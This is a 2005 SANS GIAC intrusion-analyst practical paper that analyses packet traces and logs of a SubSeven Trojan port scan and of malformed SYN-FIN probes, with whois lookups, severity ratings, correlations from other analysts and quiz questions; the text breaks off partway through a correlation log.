Global Information Assurance Certification Paper

SANS

GIAC Certified Intrusion Analyst (GCIA) Practical

SCOTT L. CRIMMINGER

JANUARY 17, 2005

Version 2.7

Table of Contents

Assignment 1 – Network Detects (40 Points)

Scope

Submit **five** network detects, with analysis. Each of the detects must be different; do NOT submit two of the same attack. Please use the analysis format shown below so that we can grade your submission as fairly as possible.

Note: if you submit a common (i.e., frequently occurring, either in the practicals themselves or in submissions to the Global Incident Analysis Center (http://www.sans.org/giac.htm), such as SubSeven, proxy scans, smurf, NetBIOS, portmap, etc., you must have a VERY comprehensive analysis.

We strongly encourage you to view some of the previously accepted practicals at http://www.sans.org/y2k/analysts.htm to get an idea of what constitutes a "passing" paper, in particular those numbered 0138 and higher and/or those graded as "honors". This is the standard we are expecting of you for this assignment. Each of them as unique strengths – some have better correlations, others research. Again, your submission must be of this quality level or better. Additional guidance for this portion of the assignment is available at http://www.sans.org/giactc/ID_assignment_guidelines.htm.

Approach

I have specifically avoided frequently occurring attacks, and I have chosen to analyze traces submitted to the Global Incident Analysis Center (http://www.sans.org/giac.html). I have focused on submissions requesting a response, as I felt this would be beneficial to everyone involved. Since these traces are not well known attacks, I have to utilize a technique taught by Stephen Northcutt. He would say, "place your quarter on one side." His point was to take an educated guess as to whether you believe something is active targeting or not. In each analysis I try to "place my quarter on one side," and then explain why I have chosen that position. Keep in mind, I may not be correct, but I have at least picked a side, and that's half the battle. Enjoy.

Network Detect 1

(Patrick Nolan)

```
----- Original Message -----
From: "Patrick Nolan"
To:
Sent: Saturday, March 10, 2001 3:55 PM
Subject: Automated exploit tool tcp connection from 65.8.5.26


 Hello,
    I just received the following multiple tcp connection attempts from an
address "apparently" on your network. The speed and packet information of the
connection attempts indicates an integrated tool, not like the usual stand
alone tools used by a script kiddie, but one used by someone with more than
casual knowledge of hacking. I have extensive probe records going back 2 years
and this is the first time I have seen this particular type of tool used to
probe a home computer. Start time: 15:26:50.680 End time: 15:27:12.160

 Good luck.
 Pat Nolan

     All times are Eastern Daylight today, Saturday March 10, 2001.
 The packets in sequence were:

 IN  :MAC: 00:30:80:5D:27:54 => 00:C0:CA:19:B3:16
      Sequence #89, Time:15:26:50.680, Protocol:IP, Size:60
 IP  :Source IP: 65.8.5.26, Destination IP: XX.XX.XX.XX
      Header Length: 20, Service Type: 0x00, Datagram Length: 44
      Flags & Fragment.: 0x4000, Identification: 0x3AA1, TTL:15
      Header Checksum: 0xA28F, Protocol: TCP
 TCP :Source Port: 2952, Destination Port: 1243
      Data Length: 0, Checksum: 0xADEA, Seq.: 17181239, Ack.: 0
      Flag: SYN, Window: 8192, Urgent: 0
 DATA:00 C0 CA 19 B3 16 00 30-80 5D 27 54 08 00 45 00   .ÀÊ.³..0€]'T..E.
      00 2C 3A A1 40 00 0F 06-A2 8F 41 08 05 1A 18 5C   .,:¡@...¢ A....\
      30 1E 0B 88 04 DB 01 06-2A 37 00 00 00 00 60 02   0..ˆ.Û..*7....`.
      20 00 AD EA 00 00 02 04-05 B4 40 0C                .ê.....´@.

 IN  :MAC: 00:30:80:5D:27:54 => 00:C0:CA:19:B3:16
      Sequence #90, Time:15:26:50.680, Protocol:IP, Size:60
 IP  :Source IP: 65.8.5.26, Destination IP: XX.XX.XX.XX
      Header Length: 20, Service Type: 0x00, Datagram Length: 44
      Flags & Fragment.: 0x4000, Identification: 0x3BA1, TTL:15
      Header Checksum: 0xA18F, Protocol: TCP
 TCP :Source Port: 2953, Destination Port: 27374
      Data Length: 0, Checksum: 0x47D3, Seq.: 17181242, Ack.: 0
      Flag: SYN, Window: 8192, Urgent: 0
 DATA:00 C0 CA 19 B3 16 00 30-80 5D 27 54 08 00 45 00   .ÀÊ.³..0€]'T..E.
      00 2C 3B A1 40 00 0F 06-A1 8F 41 08 05 1A 18 5C   .,;¡@...¡ A....\
      30 1E 0B 89 6A EE 01 06-2A 3A 00 00 00 00 60 02   0..‰jî..*:....`.
      20 00 47 D3 00 00 02 04-05 B4 4A 22                .GÓ.....´J"
```

```
IN  :MAC: 00:30:80:5D:27:54 => 00:C0:CA:19:B3:16
     Sequence #91, Time:15:26:50.740, Protocol:IP, Size:60
IP  :Source IP: 65.8.5.26, Destination IP: XX.XX.XX.XX
     Header Length: 20, Service Type: 0x00, Datagram Length: 44
     Flags & Fragment.: 0x4000, Identification: 0x3CA1, TTL:15
     Header Checksum: 0xA08F, Protocol: TCP
TCP :Source Port: 2954, Destination Port: 9055
     Data Length: 0, Checksum: 0x8F5E, Seq.: 17181245, Ack.: 0
     Flag: SYN, Window: 8192, Urgent: 0
DATA:00 C0 CA 19 B3 16 00 30-80 5D 27 54 08 00 45 00   .ÀÊ.³..0€]'T..E.
     00 2C 3C A1 40 00 0F 06-A0 8F 41 08 05 1A 18 5C   .,<¡@...  A....\
     30 1E 0B 8A 23 5F 01 06-2A 3D 00 00 00 00 60 02   0..Š#_..*=....`.
     20 00 8F 5E 00 00 02 04-05 B4 43 19                . ^.....´C.
```

Source of Trace

This trace was downloaded from http://www.sans.org/y2k/031301-1800.htm.

Detect was Generated By

This detect seems to be from a sniffer such as Ethereal or TCPDump; however, it looks modified. For example, I believe the sections have been labeled for easy interpretation. The IN indicates the Ethernet Frame Header, which includes the source and destination MAC address, the type of header that will follow, and the frame length. In this case, the next section labeled IP is the IP Header, which includes the source and destination IP address, header length, and type of service. The TCP Header section identifies the source and destination port, sequence number, and window size. Finally, the Data section includes the actual payload. The packets look complete and will be analyzed later.

Probability the Source Address was Spoofed

This is probably not a spoofed IP address. I utilized ARIN to determine who owns 65.8.5.26.

http://www.arin.net/whois/index.html

```
@Home Network (NETBLK-HOME-3BLK)HOME-3BLK
65.0.0.0 - 65.15.255.255
@Home Network (NETBLK-HRTRCT1-CT-6) HRTRCT1-CT-6
65.8.0.0 - 65.8.15.255
```

A reverse DNS lookup provides:

```
Name:    cx624199-a.lncln1.ri.home.com
Address:  65.8.5.26
```

It belongs to @Home, which is a national Internet Service Provider. I would assume the IP address is a non-business account, and is probably a home system.

Description of Attack

I believe this is a scan for open Trojan ports. Ports 1243 and 27374 are commonly used for SubSeven; however, I could not find a reference for port 9055. The commonly probed ports are listed at:

http://www.sans.org/y2k/ports.htm

I also checked the port list from IANA, which includes all the well-known ports starting at 0 and going through 1023, all the registered ports starting at 1024 and going through 49151, and all the dynamic and/or private ports starting at 49152 and going through 65535; however, TCP port 9055 was unassigned. That list can be found at:

http://www.isi.edu/in-notes/iana/assignments/port-numbers

The efficiency of the scan indicates an automated scanning tool, which is what Patrick Nolan believed as well. This is indicated by the three packets provided with the following times:

```
Time:15:26:50.680, Time:15:26.50.680 and 15:26:50.740
```

These are less than one second apart, which indicates a scanning tool. I would like to point out that the last 22 seconds of the trace were not included; however, I would assume that the same three scans are repeated similar to one of my correlations.

Attack Mechanism

This is a TCP port scan, which is looking for listening ports. From the trace we can see that there were no SYN/ACK's, which indicates that the targeted system was not listening on those specific ports. Listening ports would indicate the presence of Trojan program, which is a malicious computer program hidden inside of a legitimate program, when activated causes the computer to perform illegitimate operations. The SubSeven Trojan, which is a successor of the NetBus Trojan, is what this scan is looking for. If the SubSeven Trojan were present it would allow the hacker to access the system to monitor activity or actually control files and network connections.

Based on the fact that this is a TCP port scan, the assumption that the IP address is probably not spoofed would be correct. When an attacker uses a TCP port scan some type of response is required. Specifically the attacker needs to know what ports are listening in order to launch his next attack.

Correlations

Correlations are the cross references, which are used to solidify my position. These are copied and pasted from the link provided. The actual text is included because the link generally includes contributions from several people and separating specific text makes it easier to examine.

http://www.sans.org/y2k/030201-0900.htm

(Karen Frederick)

Hi! On my cable modem, most of the activity that I see is directed to ports 53, 111, 137 and 27374. Last night I had some unusual connection attempts. All logs are from Zone Alarm (unfortunately, I didn't have Snort running, but it wouldn't have alerted on most of these anyway):

```
Quick scan of 3 ports.  The first two are Trojan ports, but
I've never seen 9055 before.

2001/02/28,17:49:34 -6:00
GMT,24.23.106.20:21748,24.xxx.yyy.zzz:1243,TCP
2001/02/28,17:49:36 -6:00
GMT,24.23.106.20:21750,24.xxx.yyy.zzz:27374,TCP
2001/02/28,17:49:36 -6:00
GMT,24.23.106.20:21751,24.xxx.yyy.zzz:9055,TCP

I've read before that this is probably Hack-A-Tack traffic.

2001/02/28,19:59:34 -6:00
GMT,24.165.203.159:28432,24.xxx.yyy.zzz:28431,UDP

I found a few instances of port 20139 in GIAC postings from
October and November 2000, but no one seemed to know what it
was.  I certainly don't...

2001/03/01,05:43:06 -6:00
GMT,24.130.220.79:1075,24.xxx.yyy.zzz:20139,TCP
```

(Mark Reibstein)

This showed up this morning. Clearly a Subseven scan, but this is the first traffic I've seen for port 9055. I couldn't find anything on that port.

```
03/01/2001 09:58:17 in 24.19.68.169[4213] ==> 24.180.145.54[1243]
03/01/2001 09:58:17 in 24.19.68.169[4214] ==> 24.180.145.54[27374]
03/01/2001 09:58:17 in 24.19.68.169[4215] ==> 24.180.145.54[9055]
03/01/2001 09:58:20 in 24.19.68.169[4214] ==> 24.180.145.54[27374]
03/01/2001 09:58:20 in 24.19.68.169[4213] ==> 24.180.145.54[1243]
03/01/2001 09:58:26 in 24.19.68.169[4215] ==> 24.180.145.54[9055]
03/01/2001 09:58:26 in 24.19.68.169[4214] ==> 24.180.145.54[27374]
03/01/2001 09:58:26 in 24.19.68.169[4213] ==> 24.180.145.54[1243]
03/01/2001 09:58:38 in 24.19.68.169[4215] ==> 24.180.145.54[9055]
03/01/2001 09:58:38 in 24.19.68.169[4214] ==> 24.180.145.54[27374]
03/01/2001 09:58:38 in 24.19.68.169[4213] ==> 24.180.145.54[1243]
```

Evidence of Active Targeting

This is a clear case of active targeting. The scan is looking for listening Trojan ports.

Severity

(Critical + Lethal) – (System + Net Countermeasures) = Severity

Criticality of target: 1
The system is a home computer.

Lethality of attack: 1
This was a port scan, which resulted in no available ports. Strictly reconnaissance at this point.

Host-based countermeasures: 1
I would speculate none; however, the ports were not listening.

Network-base countermeasures: 1
Again, none.

Total severity: 0

Defensive Recommend-ations

I would recommend a personal firewall such as a LinkSys box at a minimum; however, it really depends on how valuable the information is on the system.

Multiple Choice Test Question 1

What is a good resource for commonly probed ports?

a) http://www.sans.org/y2k/ports.htm
b) http://home.tiscalinet.be/bchicken/trojans/trojanpo.htm
c) http://www.nethog.com/feeds/niteryder/trojans.htm
d) All of the above… plus www.google.com (search for Trojan ports)

Multiple Choice Test Question 2

In the trace provided, which destination port is not a standard SubSeven port?

```
03/01/2001 09:58:17 in 24.19.68.169[4213] ==> 24.180.145.54[1243]
03/01/2001 09:58:17 in 24.19.68.169[4214] ==> 24.180.145.54[27374]
03/01/2001 09:58:17 in 24.19.68.169[4215] ==> 24.180.145.54[9055]
```

a) 4213
b) 1243
c) 4214
d) 9055

Network Detect 2

(Eric Fichtner)

Huh. I'm wondering if my sensor is on crack, or if there's some new RFC that I didn't read that explains this tragic mess... There's actual legitimate web traffic at these exact same times from these IP's, so my first thought is that this wasn't on purpose, and that it's broken routers or broken sensor gear. Other opinions? (And, no, spp_portscan doesn't yet log the offending packets for later inspection.. maybe it will soon.)

```
Mar 10 23:47:47 206.42.43.8:1366 -> 10.0.0.139:80 SYN ******S*
Mar 10 23:47:47 206.42.43.8:18245 -> 10.0.0.139:21536 INVALIDACK *2UA**SF
  RESERVEDBITS
Mar 10 23:48:46 206.42.43.8:1382 -> 10.0.0.139:80 SYN ******S*

Mar 11 12:19:43 62.180.216.37:1035 -> 10.0.0.139:80 SYN ******S*
Mar 11 12:19:43 62.180.216.37:18245 -> 10.0.0.139:21536 INVALIDACK *2UA**SF
  RESERVEDBITS

Mar 11 12:20:30 62.180.216.37:1037 -> 10.0.0.139:80 SYN ******S*
Mar 11 12:20:31 62.180.216.37:18245 -> 10.0.0.139:21536 INVALIDACK *2UA**SF
  RESERVEDBITS

Mar 11 12:21:01 62.180.216.37:1038 -> 10.0.0.139:80 SYN ******S*
Mar 11 12:21:01 62.180.216.37:18245 -> 10.0.0.139:21536 INVALIDACK *2UA**SF
  RESERVEDBITS

Mar 11 12:22:01 62.180.216.37:1040 -> 10.0.0.139:80 SYN ******S*
Mar 11 12:22:01 62.180.216.37:18245 -> 10.0.0.139:21536 INVALIDACK *2UA**SF
  RESERVEDBITS
Mar 11 12:22:41 62.180.216.37:1042 -> 10.0.0.139:80 SYN ******S*

Mar 11 12:22:41 62.180.216.37:18245 -> 10.0.0.139:21536 INVALIDACK *2UA**SF
  RESERVEDBITS
Mar 11 12:23:26 62.180.216.37:1043 -> 10.0.0.139:80 SYN ******S*

Mar 11 12:23:27 62.180.216.37:18245 -> 10.0.0.139:21536 INVALIDACK *2UA**SF
  RESERVEDBITS
Mar 11 12:24:38 62.180.216.37:1044 -> 10.0.0.139:80 SYN ******S*
Mar 11 12:24:38 62.180.216.37:18245 -> 10.0.0.139:21536 INVALIDACK *2UA**SF
  RESERVEDBITS
---
Ah, but the firewall logs DO add more useful information..

206.42.43.8,18245 -> 10.0.0.139,21536 PR tcp len 20 484 -ASFU
  796157304 1952868716 12135
62.180.216.37,18245 -> 10.0.0.139,21536 PR tcp len 20 419 -ASFU
  796157304 1952868716 12064
62.180.216.37,18245 -> 10.0.0.139,21536 PR tcp len 20 380 -ASFU
  796157304 1952868716 12137
62.180.216.37,18245 -> 10.0.0.139,21536 PR tcp len 20 445 -ASFU
  796157304 1952868716 12132
62.180.216.37,18245 -> 10.0.0.139,21536 PR tcp len 20 389 -ASFU
  796157304 1952868716 12149
```

```
62.180.216.37,18245 -> 10.0.0.139,21536 PR tcp len 20 390 -ASFU
  796157304 1952868716 12149
62.180.216.37,18245 -> 10.0.0.139,21536 PR tcp len 20 395 -ASFU
  796157304 1952868716 12149
62.180.216.37,18245 -> 10.0.0.139,21536 PR tcp len 20 385 -ASFU
  796157304 1952868716 12147
62.180.216.37,18245 -> 10.0.0.139,21536 PR tcp len 20 386 -ASFU
  796157304 1952868716 12147
62.180.216.37,18245 -> 10.0.0.139,21536 PR tcp len 20 388 -ASFU
  796157304 1952868716 12147

Look at that. same ack numbers every time..    Wonder if UU.net has the
same kinda routers that demon.co.uk had... ;)    Hrm.
```

Source of Trace

This trace was downloaded from http://www.sans.org/y2k/031301-1800.htm.

Detect was Generated By

This network detect looks like it was generated from Snort. Snort is a network intrusion detection system available at www.snort.org. It can be used as a traffic sniffer, similar to tcpdump, to do real-time traffic analysis. It can be configured to detect a variety of attacks and provide real-time alerting.

Probability the Source Address was Spoofed

This is probably a spoofed IP address. Extensive correlation shows that most, if not all, of the source IP addresses are from outside North America. I utilized ARIN to determine who owns 206.42.43.8.

```
AGIS/Net99 (NETBLK-NET99-BLK5)
   3601 Pelham
   Dearborn, MI 48124
   US

   Netname: NET99-BLK5
   Netblock: 206.42.0.0 - 206.43.255.255
   Maintainer: AGIS
```

A reverse DNS lookup provides:

```
Name:    8-pool4.ras11.ncral.agisdial.net
Address:  206.42.43.8
```

It belongs to AGIS.net, which is a global Internet Service Provider. I cannot determine where this traffic supposedly originated from; however, I am guessing the initiator of this particular scan intended it to be somewhere outside North America. The firewall logs show two different packets from two different source IP addresses as having the same ack numbers.

Again, the next source IP is probably a spoofed IP address. I utilized ARIN to determine who owns 62.180.216.37.

http://www.arin.net/whois/index.html

```
Netname: RIPE-C3
Netblock: 62.0.0.0 - 62.255.255.255
Maintainer: RIPE
```

http://www.ripe.net/db/whois.html

```
inetnum:      62.180.192.0 - 62.180.223.255
netname:      VIAG-DIAL-4
descr:        VIAG-INTERKOM
country:      DE
admin-c:      VIAG1-RIPE
tech-c:       VIAG1-RIPE
status:       ASSIGNED PA
notify:       hostmaster@viaginterkom.de
mnt-by:       VIAG-MNT
changed:      dave.pratt@viaginterkom.de 20000218
source:       RIPE
```

It belongs to Interkom, which appears to be a German Internet based company. I was able to determine this using:

http://www.iana.org/cctld/cctld-whois.htm

Description of Attack

Let me start with the obvious by saying the SYN flag and FIN flag should never be set together. The SYN flag is used to start a connection, and the FIN flag is used to tear a connection down. During Stephen Northcutt's class at the New Orleans SANS Security Conference it was mentioned that there are many attacks that utilize this technique to circumvent packet filters that look for the SYN flag alone. Now, the tough part is to determine what this specific attack was hoping to accomplish. Initially, I had no idea, so I went on a correlation hunt.

Correlation shows that many sites were seeing the same source and destination ports. Some of the sites mentioned a web server being involved, and in one case Apache was mentioned; however, I do not have enough information to relate this to a specific web server bug. In fact, I believe this to be a simple SYN-FIN scan. The best correlation was found at:

http://www.securityfocus.com/archive/75/166805

It had the same source IP address doing other suspicious port scanning. An obvious conclusion might be a scan for an individually configured Trojan port. It may be that a hacker has configured a well-known Trojan for a different port, but the attacker should be using SYN requests to find the listening ports. But because the ports are not common Trojan ports, and the SYN and FIN flags are set together, I would suspect some sort of fingerprinting. A hacker may use a malformed packet such as a packet with the SYN flag and FIN flag set to illicit some sort of response. This is considered reconnaissance and is typically utilized to determine the operating system being used. It may be possible that the hacker has already determined the web server being used, and continues looking for the specific operating system with known security bugs.

Another interesting point is that all of the source IP addresses are located somewhere outside North America. Most where located in Europe with some in Asia-Pacific and Puerto Rico. I am not sure what to make of it, but it is interesting.

Attack Mechanism

As I mentioned in the "Description of Attack" section, this appears to be a SYN-FIN scan. Even though I found plenty of correlation, no one identified it as a SYN-FIN scan; however, that is where I am placing my quarter. It would be interesting to see the source code surface in the next couple of months, which would further prove Stephen Northcutt's opinion that the elite hackers use a tool for months before releasing the code and then it gets used so much that their tracks are covered. I am sure everyone would agree with that comment.

The only problem with it being a SYN-FIN scan is that my opinion about it being a spoofed address should be incorrect. So I looked at the trace again to pull out some interesting details about the two source IP addresses. Both packets have the same sequence numbers, yet they are over 12 hours apart. That would imply that the packets are definitely crafted, and the first packet probably did have a spoofed address. It may have been that the attacker realized that the response would not come back to him, so the second packet either used his source IP address, or the attack took 12 hours to set up a stealth scan using a man-in-the-middle or spoof bounce technique. The reason I suggest that is because of the identical sequence numbers. A pretty good explanation of how this might be set up can be found at:

http://www.sans.org/y2k/practical/David_Thibault_GCIA.html#Detect_1

Either way the attacker is doing reconnaissance, and it would appear that the firewall is blocking the responses the attacker would need to launch a more focused attack.

Correlations http://www.sans.org/y2k/013101-1200.htm

Hi everybody, I had received this traffic from Internet, in all cases the destinations port are not well-known but are the same (TCP:21536) and the source port idem (TCP:18245) Is this traffic associated to some kind of attack? Thanks Luis Mendoza

```
Feb 3 15:11:58 66.50.24.49:18245 -> a.b.c.44:21536 VECNA *******U
Feb 3 15:12:02 66.50.24.49:18245 -> a.b.c.44:21536 NOACK 2*SFRP*U
RESERVEDBITS
Feb 3 15:12:02 66.50.24.49:18245 -> a.b.c.44:21536 VECNA 2****P*U
RESERVEDBITS
Feb 3 15:12:02 66.50.24.49:18245 -> a.b.c.44:21536 XMAS 2**F*P*U
RESERVEDBITS
Feb 3 15:12:05 66.50.24.49:18245 -> a.b.c.44:21536 INVALIDACK
2***R*AU
RESERVEDBITS
Feb 3 18:44:15 63.91.226.239:18245 -> a.b.c.44:21536 VECNA *******U
Feb 3 18:44:19 63.91.226.239:18245 -> a.b.c.44:21536 NOACK 2*SFRP*U
RESERVEDBITS
Feb 3 18:44:19 63.91.226.239:18245 -> a.b.c.44:21536 VECNA 2****P*U
RESERVEDBITS
Feb 3 18:44:19 63.91.226.239:18245 -> a.b.c.44:21536 XMAS 2**F*P*U
RESERVEDBITS
Feb 3 18:44:22 63.91.226.239:18245 -> a.b.c.44:21536 INVALIDACK
2***R*AU
RESERVEDBITS
Feb 3 18:44:26 63.91.226.239:18245 -> a.b.c.44:21536 NOACK 2*SFRP*U
RESERVEDBITS
Feb 3 21:37:07 63.91.227.90:18245 -> a.b.c.44:21536 VECNA *******U
Feb 3 21:37:11 63.91.227.90:18245 -> a.b.c.44:21536 NOACK 2*SFRP*U
RESERVEDBITS
Feb 3 21:37:11 63.91.227.90:18245 -> a.b.c.44:21536 VECNA 2****P*U
RESERVEDBITS
Feb 3 21:37:11 63.91.227.90:18245 -> a.b.c.44:21536 XMAS 2**F*P*U
RESERVEDBITS
Feb 3 21:37:14 63.91.227.90:18245 -> a.b.c.44:21536 INVALIDACK
2***R*AU
RESERVEDBITS
Feb 3 21:37:18 63.91.227.90:18245 -> a.b.c.44:21536 NOACK 2*SFRP*U
RESERVEDBITS
Feb 4 22:06:13 66.50.25.19:18245 -> a.b.c.44:21536 VECNA *******U
Feb 4 22:06:16 66.50.25.19:18245 -> a.b.c.44:21536 NOACK 2*SFRP*U
RESERVEDBITS
Feb 4 22:06:16 66.50.25.19:18245 -> a.b.c.44:21536 VECNA 2****P*U
RESERVEDBITS
Feb 4 22:06:16 66.50.25.19:18245 -> a.b.c.44:21536 XMAS 2**F*P*U
RESERVEDBITS
```

http://www.sans.org/giac4.htm

(Andy Johnston)

This one caught my eye. It looks like a regular packet gone bad. The other reason it caught my eye is that alumni.umbc.edu/~ajohns5/demoivre.html is one of my web pages.

```
10/24-01:28:25.330699 202.188.56.217:18245 -> MY.NET.60.17:21536
TCP TTL:50 TOS:0x0 ID:441
**SFRP*U Seq: 0x2F7E616A Ack: 0x6F686E73 Win: 0x6465
35 2F 64 65 6D 6F 69 76 72 65 2F 68 74 6D 6C 20 5/demoivre.html
48 54 54 50 2F 31 HTTP/1
```

http://www.sans.org/y2k/031701.htm

(Eric Fichtner)
Interesting. This stuff is appearing on other networks I run now..

```
Mar 15 00:46:43 61.5.60.16:1045 -> 10.1.40.240:80 SYN ******S*
Mar 15 00:46:44 61.5.60.16:18245 -> 10.1.40.240:21536 INVALIDACK
*2UA**SF
  RESERVEDBITS
Mar 15 00:47:37 62.25.84.230:18245 -> 10.1.40.240:21536 UNKNOWN
*2UAP***
  RESERVEDBITS
Mar 15 00:47:47 61.5.92.127:18245 -> 10.1.40.240:21536 INVALIDACK
*2UA**SF
  RESERVEDBITS
Mar 15 00:48:12 61.5.92.127:18245 -> 10.1.40.240:21536 NOACK *2U*PRSF
  RESERVEDBITS
```

Vastly different path from the other stuff I was seeing. Why does this not make me feel very good?

http://www.securityfocus.com/archive/75/166805

[Message Index][Thread Index] [Reply]
[prev Msg by Date] [next Msg by Date]

To:	Incidents
Subject:	Is this traffic normal?
Date:	Tue Mar 06 2001 09:37:51
Author:	Archi2K Archi2K < archi2k@altern.org >
Message-ID:	<20010306094156.70C3724C70F@lists.securityfocus.com>

Hi,
Strange packets are reaching my fw box, all coming from the same domain name but from lots of different IPs (probably 20 or more). This box act as a firewall and forward TCP/80 and TCP/443 packets to a simple apache wserver.

All this packets look like the following ones :

```
TCP Port 18245 -> 21536
or
TCP Port 32808 -> 259
or
TCP Port 5635 -> 0
or
TCP Port 65535 -> 65535
```

What do I have to do? Do you think I have to contact the domain name owner? Any help would be appreciated.
a2k,,
@

```
Mar 4 13:02:35 my kernel: Packet log: inet-if DENY eth0 PROTO=6
195.242.76.31:18245 AAA.BBB.CCC.DDD:21536 L=223 S=0x00 I=3344
F=0x4000 T=56
Mar 4 13:02:39 my kernel: Packet log: inet-if DENY eth0 PROTO=6
195.242.76.31:18245 AAA.BBB.CCC.DDD:21536 L=394 S=0x00 I=7952
F=0x4000 T=56 SYN
Mar 4 13:02:39 my kernel: Packet log: inet-if DENY eth0 PROTO=6
195.242.76.31:18245 AAA.BBB.CCC.DDD:21536 L=393 S=0x00 I=8464
F=0x4000 T=56 SYN
Mar 4 13:02:46 my kernel: Packet log: inet-if DENY eth0 PROTO=6
195.242.76.31:18245 AAA.BBB.CCC.DDD:21536 L=423 S=0x00 I=35344
F=0x4000 T=56
Mar 4 13:02:46 my kernel: Packet log: inet-if DENY eth0 PROTO=6
195.242.76.31:18245 AAA.BBB.CCC.DDD:21536 L=404 S=0x00 I=35856
F=0x4000 T=56
Mar 4 13:02:46 my kernel: Packet log: inet-if DENY eth0 PROTO=6
195.242.76.31:18245 AAA.BBB.CCC.DDD:21536 L=404 S=0x00 I=36112
F=0x4000 T=56
Mar 4 13:02:46 my kernel: Packet log: inet-if DENY eth0 PROTO=6
195.242.76.31:18245 AAA.BBB.CCC.DDD:21536 L=405 S=0x00 I=36368
F=0x4000 T=56
Mar 4 13:02:46 my kernel: Packet log: inet-if DENY eth0 PROTO=6
195.242.76.31:18245 AAA.BBB.CCC.DDD:21536 L=406 S=0x00 I=36624
F=0x4000 T=56
Mar 4 13:02:47 my kernel: Packet log: inet-if DENY eth0 PROTO=6
195.242.76.31:18245 AAA.BBB.CCC.DDD:21536 L=403 S=0x00 I=36880
F=0x4000 T=56

(Two sections deleted from the original post)

Other boxes, same src & dst ports

Mar  5 20:30:19 my kernel: Packet log: inet-if DENY eth0 PROTO=6
195.242.123.76:65535 AAA.BBB.CCC.DDD:65535 L=20 S=0x00 I=2054
F=0x4000 T=120
Mar  5 21:39:26 my kernel: Packet log: inet-if DENY eth0 PROTO=6
195.242.104.140:18245 AAA.BBB.CCC.DDD:21536 L=339 S=0x00 I=23040
F=0x4000 T=120
Mar  5 21:39:30 my kernel: Packet log: inet-if DENY eth0 PROTO=6
195.242.104.140:18245 AAA.BBB.CCC.DDD:21536 L=306 S=0x00 I=27392
F=0x4000 T=120 SYN
Mar  5 21:39:38 my kernel: Packet log: inet-if DENY eth0 PROTO=6
195.242.104.140:18245 AAA.BBB.CCC.DDD:21536 L=317 S=0x00 I=58368
F=0x4000 T=120
Mar  5 21:40:14 my kernel: Packet log: inet-if DENY eth0 PROTO=6
195.242.104.140:32835 AAA.BBB.CCC.DDD:259 L=89 S=0x00 I=43521
F=0x4000 T=120
Mar  5 21:40:21 my kernel: Packet log: inet-if DENY eth0 PROTO=6
195.242.104.140:5635 AAA.BBB.CCC.DDD:0 L=116 S=0x00 I=47105 F=0x4000
T=120
Mar  5 21:40:26 my kernel: Packet log: inet-if DENY eth0 PROTO=6
195.242.104.140:5635 AAA.BBB.CCC.DDD:0 L=116 S=0x00 I=50689 F=0x4000
T=120
Mar  5 21:40:32 my kernel: Packet log: inet-if DENY eth0 PROTO=6
195.242.104.140:5635 AAA.BBB.CCC.DDD:0 L=116 S=0x00 I=56065 F=0x4000
T=120
Mar  5 21:40:32 my kernel: Packet log: inet-if DENY eth0 PROTO=6
195.242.104.140:5635 AAA.BBB.CCC.DDD:0 L=116 S=0x00 I=56833 F=0x4000
T=120
Mar  5 21:40:36 my kernel: Packet log: inet-if DENY eth0 PROTO=6
195.242.104.140:5635 AAA.BBB.CCC.DDD:0 L=116 S=0x00 I=3074 F=0x4000
T=120
Mar  5 21:40:40 my kernel: Packet log: inet-if DENY eth0 PROTO=6
195.242.104.140:5635 AAA.BBB.CCC.DDD:0 L=116 S=0x00 I=6146 F=0x4000
T=120
Mar  5 21:40:40 my kernel: Packet log: inet-if DENY eth0 PROTO=6
195.242.104.140:5635 AAA.BBB.CCC.DDD:0 L=116 S=0x00 I=6914 F=0x4000
T=120
```

http://www.sans.org/y2k/120200.htm

(Bob Fawcett)
I picked up these on my snort sensor:

```
Nov 29 03:49:09 212.2.215.113:18245 -> my.net.26.7:21536 NOACK
**U*PRSF
Nov 29 03:49:16 212.2.215.113:18245 -> my.net.26.7:21536
  INVALIDACK *2UA*RS* RESERVEDBITS
Nov 29 03:49:28 212.2.215.113:18245 -> my.net.26.7:21536 NOACK
**U*PRSF
Nov 29 03:49:46 212.2.215.113:18245 -> my.net.26.7:21536 NOACK
**U*PRSF
Nov 29 03:49:56 212.2.215.113:18245 -> my.net.26.7:21536 NOACK
**U*PRSF
Nov 29 03:50:05 212.2.215.113:18245 -> my.net.26.7:21536 VECNA
*2U****F RESERVEDBITS
Nov 29 03:50:17 212.2.215.113:18245 -> my.net.26.7:21536 NOACK
**U*PRSF
Nov 29 03:50:42 212.2.215.113:18245 -> my.net.26.7:21536 NOACK
**U*PRSF
Nov 29 03:51:05 212.2.215.113:18245 -> my.net.26.7:21536 NOACK
**U*PRSF
Nov 29 03:52:11 212.2.215.113:18245 -> my.net.26.7:21536 NOACK
**U*PRSF
Nov 29 03:52:14 212.2.215.113:18245 -> my.net.26.7:21536 NOACK
*2U*PRSF RESERVEDBITS
Nov 29 03:52:15 212.2.215.113:18245 -> my.net.26.7:21536 VECNA
*2U*P*** RESERVEDBITS
Nov 29 03:52:17 212.2.215.113:18245 -> my.net.26.7:21536 NOACK
*2U*PRSF RESERVEDBITS
```

Can someone tell me what VECNA means in the port scan output?

```
RIPE reports:
212.2.215.113
inetnum:     212.2.192.0 - 212.2.223.255
netname:     TR-ANTNET-980814
descr:       Provider Local Registry
country:     TR
address:     ANTALYA
address:     TURKEY
```

After seeing this I looked back through the log and found the same source and dest ports:

```
Nov 27 05:51:22 62.29.56.114:18245 -> my.net.26.7:21536 NOACK
*2U**R*F RESERVEDBITS

Ripe reports:
62.29.56.114
inetnum:     62.29.0.0 - 62.29.127.255netname:     TR-DOGAN-20000427
descr:       Dogan Iletisim Elektronik Servis Hizmetleri
descr:       PROVIDER
country:     TR
address:     ISTANBUL
address:     TURKEY
```

```
Nov 24 11:39:52 212.160.26.62:18245 -> my.net.26.7:21536 NOACK
*2U**R*F RESERVEDBITS
Nov 24 11:40:16 212.160.26.62:1033 -> my.net.26.7:80 SYN ******S*
Nov 24 11:40:17 212.160.26.62:18245 -> my.net.26.7:21536 NOACK
*2U**R*F RESERVEDBITS
Nov 24 11:40:46 212.160.26.62:1035 -> my.net.26.7:80 SYN ******S*
Nov 24 11:40:43 212.160.26.62:18245 -> my.net.26.7:21536 NOACK
*2U**R*F RESERVEDBITS
Nov 24 11:40:54 212.160.26.62:1037 -> my.net.26.7:80 SYN ******S*
Nov 24 11:40:55 212.160.26.62:18245 -> my.net.26.7:21536 NOACK
*2U**R*F RESERVEDBITS
Nov 24 11:41:00 212.160.26.62:1041 -> my.net.26.7:80 SYN ******S*
Nov 24 11:40:58 212.160.26.62:18245 -> my.net.26.7:21536 NOACK
